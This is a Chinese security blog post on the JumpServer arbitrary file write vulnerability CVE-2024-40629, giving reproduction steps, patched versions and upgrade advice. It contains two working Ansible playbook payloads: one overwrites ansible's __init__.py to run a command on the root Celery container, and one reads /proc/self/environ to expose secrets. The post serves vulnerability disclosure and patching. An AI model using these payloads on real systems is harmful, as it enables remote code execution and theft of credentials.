Warning: Undefined array key "HTTP_ACCEPT_LANGUAGE" in /www/wwwroot/blog.guapiwo.top/usr/themes/joe/public/tencent_protect.php on line 40

Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /www/wwwroot/blog.guapiwo.top/usr/themes/joe/public/tencent_protect.php on line 40
Jumpserver任意文件写入致RCE漏洞(CVE-2024-40629) - 瓜皮博客_d0glun
Jumpserver任意文件写入致RCE漏洞(CVE-2024-40629)
Jumpserver任意文件写入致RCE漏洞(CVE-2024-40629)
瓜皮博客_d0glun

Jumpserver任意文件写入致RCE漏洞(CVE-2024-40629)

d0glun
2025-05-20 / 0 评论 / 1 阅读 / 正在检测是否收录...

Jumpserver任意文件写入致RCE漏洞(CVE-2024-40629)
漏洞说明
攻击者可利用 Ansible playbook 写入任意文件,从而导致 Celery 容器中的远程代码执行 (RCE)。Celery 容器以 root 身份运行并具有数据库访问权限,允许攻击者窃取主机的所有机密、创建具有管理员权限的新 JumpServer 帐户或以其他方式操作数据库。
详情
拥有低权限账号的攻击者至少拥有一台主机的访问权限,并可以访问作业中心功能。
可以通过以下步骤进行复制:
● 打开 Workbench > Job > Template 部分,创建一个包含以下内容的恶意 playbook 模板:

 - hosts: all
     tasks:
     - name: create python file on remote host that executes a command
       shell: |
         echo 'from ansible.release import __version__, __author__
         __import__("os").system("id > /tmp/pwnd")' > /tmp/rce
     - name: write that file at a known location that gets reloaded at the next
   ansible execution
       fetch:
         src: /tmp/rce
         dest: /opt/py3/lib/python3.11/site-packages/ansible/__init__.py
         flat: true

Playbook模板2
- hosts: all
     tasks:
     - name: read file from local host = celery using file lookup plugin
       ansible.builtin.debug:
         msg: "{{ lookup('ansible.builtin.file', '/proc/self/environ') }}"

● 

● 打开 Workbench > Job > Job list 部分,使用上面创建的 playbook 模板创建一个新作业。
● 运行作业,然后运行任何其他 playbook,将执行该命令
补丁
安全版本:
● 3.10.12 版
● 4.0.0 版
解决方法
建议升级安全版本。
升级后,攻击者将无法执行任意代码。

0

评论 (0)

取消